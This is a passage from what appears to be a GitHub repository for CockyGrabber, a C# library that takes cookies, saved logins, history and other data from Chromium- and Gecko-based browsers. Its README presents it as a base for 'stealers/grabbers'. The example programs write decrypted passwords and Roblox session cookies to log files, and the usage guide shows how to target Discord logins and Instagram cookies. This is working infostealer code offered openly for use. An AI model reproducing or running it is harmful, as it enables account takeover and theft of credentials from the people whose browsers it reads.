Console.WriteLine(); 24 | 25 | // Show Gecko site visits: 26 | Console.WriteLine("GECKO VISITS:"); 27 | foreach (var v in g.GetAllGeckoHistories()) 28 | { 29 | // Print the title and URL of every visited site: 30 | Console.WriteLine(); 31 | Console.WriteLine($"Title: {v.Title}"); 32 | Console.WriteLine($"Url: {v.Url}"); 33 | } 34 | 35 | System.Threading.Thread.Sleep(-1); // Pause console 36 | } 37 | } 38 | } -------------------------------------------------------------------------------- /Examples/LoginLogger.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber; 2 | using CockyGrabber.Grabbers; 3 | using System; 4 | using System.IO; 5 | using System.Text; 6 | 7 | namespace CockyGrabberTest 8 | { 9 | // This Program grabs all logins that could be found and saves them in a log file 10 | class Program 11 | { 12 | private const string LogFilePath = "LOG FILE PATH HERE.txt"; 13 | 14 | static void Main(string[] args) 15 | { 16 | UniversalGrabber g = new UniversalGrabber(); // Create Grabber 17 | 18 | StringBuilder logins = new StringBuilder(); 19 | logins.AppendLine(); 20 | logins.AppendLine("=========================================================================================="); 21 | logins.AppendLine($"NEW LOG STARTED AT {DateTimeOffset.Now}:"); 22 | logins.AppendLine(); 23 | 24 | // Grab logins and store the URLs, usernames and passwords in 'logins': 25 | foreach (Blink.Login c in g.GetAllBlinkLogins()) 26 | { 27 | logins.AppendLine($"Website: {c.OriginUrl} | Username: {c.UsernameValue} | Password: {c.DecryptedPasswordValue}"); 28 | } 29 | foreach (Gecko.Login c in g.GetAllGeckoLogins()) 30 | { 31 | logins.AppendLine($"Website: {c.Hostname} | Username: {c.DecryptedUsername} | Password: {c.DecryptedPassword}"); 32 | } 33 | 34 | File.AppendAllText(LogFilePath, logins.ToString()); // Append the grabbed logins to the log file 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /Examples/RobloxCookieLogger.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber; 2 | using CockyGrabber.Grabbers; 3 | using System; 4 | using System.IO; 5 | using System.Text; 6 | 7 | namespace CockyGrabberTest 8 | { 9 | // This Program grabs all Roblox cookies that could be found and saves them in a log file 10 | class Program 11 | { 12 | private const string LogFilePath = "LOG FILE PATH HERE.txt"; 13 | 14 | static void Main(string[] args) 15 | { 16 | UniversalGrabber g = new UniversalGrabber(); // Create Grabber 17 | 18 | StringBuilder cookies = new StringBuilder(); 19 | cookies.AppendLine(); 20 | cookies.AppendLine("=========================================================================================="); 21 | cookies.AppendLine($"NEW LOG STARTED AT {DateTimeOffset.Now}:"); 22 | cookies.AppendLine(); 23 | 24 | // Grab logins and store the URLs, usernames and passwords in 'logins': 25 | foreach (Blink.Cookie c in g.GetAllBlinkCookiesBy(Blink.Cookie.Header.host_key, ".roblox.com")) 26 | { 27 | cookies.AppendLine($"Host: {c.HostKey} | Name: {c.Name} | Value: {c.DecryptedValue}"); 28 | } 29 | foreach (Gecko.Cookie c in g.GetAllGeckoCookiesBy(Gecko.Cookie.Header.host, ".roblox.com")) 30 | { 31 | cookies.AppendLine($"Host: {c.Host} | Name: {c.Name} | Value: {c.Value}"); 32 | } 33 | 34 | File.AppendAllText(LogFilePath, cookies.ToString()); // Append the grabbed logins to the log file 35 | } 36 | } 37 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 MoistCoder 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CockyGrabber 2 | 3 |

4 | Markdown CockyGrabber icon 7 |

8 | 9 | CockyGrabber is a C# library that simplifies the collection of browser information such as cookies, logins, bookmarks, credit cards and more. It is also very *easy* to use and allows you to capture browser information without any special knowledge. 10 | 11 | It can be used as a base for your projects like browser information viewers, stealers/grabbers, and more as long as the user/manufacturer of the product using CockyGrabber agrees that the developer(s) of CockyGrabber will not be held responsible for any kind of harm done as it is published for educational purposes and has informational value for browser security research. 12 | 13 | > *CockyGrabber remains discontinued as an active project but maintained as a passion project that may receive occasional updates in the future*!
14 | > If you got **requests** or find any **bugs**, please open an Issue! 15 | 16 | ## Documentation: Table Of Contents 17 | 18 | * [Usage](./docs/usage.md) 19 | * [Importing CockyGrabber](./docs/usage.md#importing-cockygrabber) 20 | * [Grabbing Information](./docs/usage.md#grabbing-information) 21 | * [Grabbing Information from Chromium/Blink-based Browsers](./docs/usage.md#grabbing-information-from-chromiumblink-based-browsers) 22 | * [Grabbing Information from Gecko-based Browsers](./docs/usage.md#grabbing-information-from-gecko-based-browsers) 23 | * [Grabbing data from multiple Browsers](./docs/usage.md#grabbing-data-from-multiple-browsers) 24 | * [Getting specific data by Headers](./docs/usage.md#getting-specific-data-by-headers) 25 | * [Catching Exceptions](./docs/usage.md#catching-exceptions) 26 | * [Adding Custom Browsers](./docs/usage.md#adding-custom-browsers) 27 | * [CustomBlinkGrabber Example](./docs/usage.md#customblinkgrabber-example) 28 | * [CustomGeckoGrabber Example](./docs/usage.md#customgeckograbber-example) 29 | 30 |
31 | 32 | ## What's Next 33 | 34 | 1. Adding more things to grab like saved emails, names, adresses, and extensions. 35 | 2. The Addition of asynchronous funtions 36 | 3. Custom functionality replacing the libraries and packages used by CockyGrabber 37 | 4. The creation of a minimalized file that anyone can easily implement in their Project without referencing CockyGrabber itself **OR** a VS project solution fully set up with all libraries installed, including Cockygrabber, ready to use. 38 | 5. Constant improvement of the documentation 39 | 6. Support for more browsers 40 | 7. Addition of events (maybe) 41 | 8. Eventually migrating from .NET Framework v.4.8 to the newest version of .NET 42 | 43 | ## End 44 | 45 | That's it for now.
46 | I hope you like this little project! ^^ 47 | -------------------------------------------------------------------------------- /docs/home.md: -------------------------------------------------------------------------------- 1 | # CockyGrabber 2 | 3 |

4 | Markdown CockyGrabber icon 7 |

8 | 9 | CockyGrabber is a C# library that simplifies the collection of browser information such as cookies, logins, bookmarks, credit cards and more. It is also very *easy* to use and allows you to capture browser information without any special knowledge. 10 | 11 | It can be used as a base for your projects like browser information viewers, stealers/grabbers, and more as long as the user/manufacturer of the product using CockyGrabber agrees that the developer(s) of CockyGrabber will not be held responsible for any kind of harm done as it is published for educational purposes and has informational value for browser security research. 12 | 13 | > *CockyGrabber is still in development and will receive future updates*!
14 | > If you got **requests** or find any **bugs**, please open an Issue! 15 | 16 | ## Table Of Contents 17 | 18 | * [Usage](./usage.md) 19 | 1. [Importing CockyGrabber](./usage.md#importing-cockygrabber) 20 | 2. [Grabbing Information](./usage.md#grabbing-information) 21 | * [Grabbing Information from Chromium/Blink-based Browsers](./usage.md#grabbing-information-from-chromiumblink-based-browsers) 22 | * [Grabbing Information from Gecko-based Browsers](./usage.md#grabbing-information-from-gecko-based-browsers) 23 | 3. [Grabbing data from multiple Browsers](./usage.md#grabbing-data-from-multiple-browsers) 24 | 4. [Getting specific data by Headers](./usage.md#getting-specific-data-by-headers) 25 | 5. [Catching Exceptions](./usage.md#catching-exceptions) 26 | 6. [Adding Custom Browsers](./usage.md#adding-custom-browsers) 27 | * [CustomBlinkGrabber Example](./usage.md#customblinkgrabber-example) 28 | * [CustomGeckoGrabber Example](./usage.md#customgeckograbber-example) 29 | 30 | ## What's Next 31 | 32 | 1. Adding more things to grab like saved emails, names, adresses, and extensions. 33 | 2. The Addition of asynchronous funtions 34 | 3. Custom functionality replacing the libraries and packages used by CockyGrabber 35 | 4. The creation of a minimalized file that anyone can easily implement in their Project without referencing CockyGrabber itself **OR** a VS project solution fully set up with all libraries installed, including Cockygrabber, ready to use. 36 | 5. Constant improvement of the documentation 37 | 6. Support for more browsers 38 | 7. Addition of events (maybe) 39 | 8. Eventually migrating from .NET Framework v.4.8 to the newest version of .NET 40 | 41 | ## End 42 | 43 | That's it for now.
44 | I hope you like this little project! ^^ 45 | -------------------------------------------------------------------------------- /docs/resources/CG_Logo-small.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MoistCoder/CockyGrabber/dd6d2d39296ceb1618aa17315cfda51ef33a8bce/docs/resources/CG_Logo-small.png -------------------------------------------------------------------------------- /docs/resources/CG_Logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MoistCoder/CockyGrabber/dd6d2d39296ceb1618aa17315cfda51ef33a8bce/docs/resources/CG_Logo.png -------------------------------------------------------------------------------- /docs/usage.md: -------------------------------------------------------------------------------- 1 | # Usage 2 | 3 | ## Importing CockyGrabber 4 | 5 | *Note:* You will need to add `System.Data.SQLite` to your project. The package can be downloaded from the [official website](https://system.data.sqlite.org/) or from [NuGet](https://www.nuget.org/packages/System.Data.SQLite/). (In future versions of CockyGrabber, this won't be necessary) 6 | 7 | ```cs 8 | using CockyGrabber; 9 | using CockyGrabber.Grabbers; 10 | ``` 11 | 12 | ## Grabbing information 13 | 14 | ### Grabbing information from Chromium/Blink-based Browsers 15 | 16 | Example that shows how to grab Chrome cookies using the `ChromeGrabber`: 17 | 18 | ```cs 19 | ChromeGrabber grabber = new ChromeGrabber(); // Create Grabber 20 | var cookies = grabber.GetCookies(); // Collect all Cookies with GetCookies() 21 | 22 | // Print the Hostname, Name, and Value of every cookie: 23 | foreach (var cookie in cookies) 24 | { 25 | string cookieHostname = cookie.HostKey; 26 | string cookieName = cookie.Name; 27 | string cookieValue = cookie.DecryptedValue; 28 | Console.WriteLine($"{cookieHostname}: {cookieName} = {cookieValue}"); 29 | } 30 | ``` 31 | 32 | *To collect browser information of any other Chromium/Blink-based browser just replace `ChromeGrabber` with `OperaGxGrabber`, `BraveGrabber`, or `EdgeGrabber`, and so on...* 33 | 34 | ### Grabbing Information from Gecko-based Browsers 35 | 36 | Example that shows how to grab Chrome cookies using the `FirefoxGrabber`: 37 | 38 | ```cs 39 | FirefoxGrabber grabber = new FirefoxGrabber(); // Create Grabber 40 | var cookies = grabber.GetCookies(); // Collect all Cookies with GetCookies() 41 | 42 | // Print Hostname, Name, and Value of every cookie: 43 | foreach (var cookie in cookies) 44 | { 45 | string cookieHostname = cookie.Host; 46 | string cookieName = cookie.Name; 47 | string cookieValue = cookie.Value; 48 | Console.WriteLine($"{cookieHostname}: {cookieName} = {cookieValue}"); 49 | } 50 | ``` 51 | 52 | CockyGrabber can also grab information like Logins, Downloads, Bookmarks and History: 53 | 54 | ```cs 55 | (GRABBER) grabber = new (GRABBER); // Create Grabber 56 | 57 | var bookmarks = grabber.GetBookmarks(); // Collect all Bookmarks with GetBookmarks() 58 | var downloads = grabber.GetDownloads(); // Collect all Downloads with GetDownloads() 59 | var logins = grabber.GetLogins(); // Collect all Logins with GetLogins() 60 | var history = grabber.GetHistory(); // Collect all History with GetHistory() 61 | ``` 62 | 63 | ## Grabbing data from multiple browsers 64 | 65 | CockyGrabber provides a `UniversalGrabber` which can be used to grab Cookies, Logins, and such from multiple Browsers.
66 | Here is an example showing how to grab stuff from all Chromium/Blink-browsers: 67 | 68 | ```cs 69 | UniversalGrabber grabber = new UniversalGrabber(); // Create Grabber 70 | 71 | var cookies = grabber.GetAllBlinkCookies(); // Collect the Cookies from all Chromium/Blink based browsers 72 | var logins = grabber.GetAllBlinkLogins(); // Collect the Logins from all Chromium/Blink based browsers 73 | var bookmarks = grabber.GetAllBlinkBookmarks(); // Collect the Bookmarks from all Chromium/Blink based browsers 74 | var history = grabber.GetAllBlinkHistory(); // Collect the History from all Chromium/Blink based browsers 75 | var downloads = grabber.GetAllBlinkDownloads(); // Collect the Downloads from all Chromium/Blink based browsers 76 | ``` 77 | 78 | Gecko-based browsers are not very different from Chromium/Blink-based browsers, so you can use the same code to get data from them: 79 | 80 | ```cs 81 | UniversalGrabber grabber = new UniversalGrabber(); // Create Grabber 82 | 83 | var cookies = grabber.GetAllGeckoCookies(); // Collect the Cookies from all Gecko based browsers 84 | var logins = grabber.GetAllGeckoLogins(); // Collect the Logins from all Gecko based browsers 85 | var bookmarks = grabber.GetAllBlinkBookmarks(); // Collect the Bookmarks from all Gecko based browsers 86 | var history = grabber.GetAllGeckoHistory(); // Collect the History from all Gecko based browsers 87 | var downloads = grabber.GetAllBlinkDownloads(); // Collect the Downloads from all Gecko based browsers 88 | ``` 89 | 90 | ## Getting specific data with headers 91 | 92 | Say you want to grab the logins of a specific hostname/website; how would you do it? 93 | You use the `GetLoginsBy()` Method! 94 | 95 | Here is an example with the `EdgeGrabber`: 96 | 97 | ```cs 98 | EdgeGrabber grabber = new EdgeGrabber(); // Create Grabber 99 | 100 | // Collect all Discord Logins: 101 | var discord_logins = grabber.GetLoginsBy(Blink.LoginHeader.origin_url, "https://discord.com/login"); 102 | 103 | // Collect the Logins that have the same password as you specified: 104 | var logins_by_pswd = grabber.GetLoginsBy(Blink.LoginHeader.password_value, "password123"); 105 | ``` 106 | 107 | Obviously you can also grab other specific data: 108 | 109 | ```cs 110 | // Collect all Instagram Cookies: 111 | var instagram_cookies = grabber.GetCookiesBy(Blink.CookieHeader.host_key, ".instagram.com"); 112 | 113 | // Collect all Google Bookmarks: 114 | var google_bookmarks = grabber.GetBookmarksBy(Blink.CookieHeader.url, "https://google.com"); 115 | 116 | // ... 117 | ``` 118 | 119 | There are more headers you can use, but the ones I have listed are the most common ones. 120 | 121 | > *(A documentation for the item headers such as `Blink.LoginHeader` and `Gecko.CookieHeader` will come sometime in the future)* 122 | 123 | ## Catching Exceptions 124 | 125 | CockyGrabber also gives you the option to catch unexpected occurrences like errors: 126 | 127 | ```cs 128 | try 129 | { 130 | // Grab them Cookies and Logins: 131 | var c = grabber.GetCookies(); 132 | var l = grabber.GetLogins(); 133 | } 134 | catch (GrabberException e) 135 | { 136 | // Check Error: 137 | switch (e.Error) 138 | { 139 | case GrabberError.CookiesNotFound: // Cookies weren't found 140 | Console.WriteLine("ERROR! The Cookie DB couldn't be found!"); 141 | break; 142 | case GrabberError.LoginsNotFound: // Logins weren't found 143 | Console.WriteLine("ERROR! The Login DB couldn't be found!"); 144 | break; 145 | case GrabberError.LocalStateNotFound: // Key wasn't found 146 | Console.WriteLine("ERROR! The 'Local State' file couldn't be found!"); 147 | break; 148 | } 149 | Console.WriteLine("Original Exception: " + e); 150 | } 151 | ``` 152 | 153 | ## Adding Custom Browsers 154 | 155 | If you want to add support for a new browser, you can do it by adding a new grabber class that inherits from `BlinkGrabber` or `GeckoGrabber`. After creating the class you will need to specify the browser's paths to the databases and files. 156 | 157 | ### CustomBlinkGrabber Example 158 | 159 | ```cs 160 | public class CustomBlinkGrabber : BlinkGrabber 161 | { 162 | public override string DataRootPath 163 | { 164 | get 165 | { 166 | // This is the path to the browser's root directory, which usually contains the browser profile folders and the 'Local State' file 167 | return $"{Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)}\\CustomBrowser\\User Data"; 168 | } 169 | } 170 | public override string LocalStatePath 171 | { 172 | get 173 | { 174 | // This is the path to the 'Local State' file of the browser 175 | return $"{Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)}\\CustomBrowser\\User Data\\Local State"; 176 | } 177 | } 178 | public override string CookiePath 179 | { 180 | get 181 | { 182 | // This is the path to the cookie database from a browser profile directory. (If the browser doesn't support multiple browsers, there are no profile directories, so the path starts from the root of the browser, not the profile folder.) 183 | return $"\\Network\\Cookies"; 184 | } 185 | } 186 | public override string LoginDataPath 187 | { 188 | get 189 | { 190 | // This is the path to the login database from a browser profile directory. (If the browser doesn't support multiple browsers, there are no profile directories, so the path starts from the root of the browser, not the profile folder.) 191 | return $"\\Login Data"; 192 | } 193 | } 194 | public override string HistoryPath 195 | { 196 | get 197 | { 198 | // This is the path to the history database from a browser profile directory. (If the browser doesn't support multiple browsers, there are no profile directories, so the path starts from the root of the browser, not the profile folder.) 199 | return $"\\History"; 200 | } 201 | } 202 | public override string BookmarkPath 203 | { 204 | get 205 | { 206 | // This is the path to the bookmark database from a browser profile directory. (If the browser doesn't support multiple browsers, there are no profile directories, so the path starts from the root of the browser, not the profile folder.) 207 | return $"\\Bookmarks"; 208 | } 209 | } 210 | public override string WebDataPath 211 | { 212 | get 213 | { 214 | // This is the path to the 'Web Data' database from a browser profile directory. (If the browser doesn't support multiple browsers, there are no profile directories, so the path starts from the root of the browser, not the profile folder.) 215 | return $"\\Web Data"; 216 | } 217 | } 218 | } 219 | ``` 220 | 221 | ### CustomGeckoGrabber Example 222 | 223 | ```cs 224 | public class CustomGeckoGrabber : BlinkGrabber 225 | { 226 | public override string ProfileDirPath 227 | { 228 | get 229 | { 230 | // This is the path to the browser's 'Profiles' folder/directory, which contains the profile folders 231 | return $"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\\CustomBrowser\\Profiles"; 232 | } 233 | } 234 | } 235 | ``` 236 | --------------------------------------------------------------------------------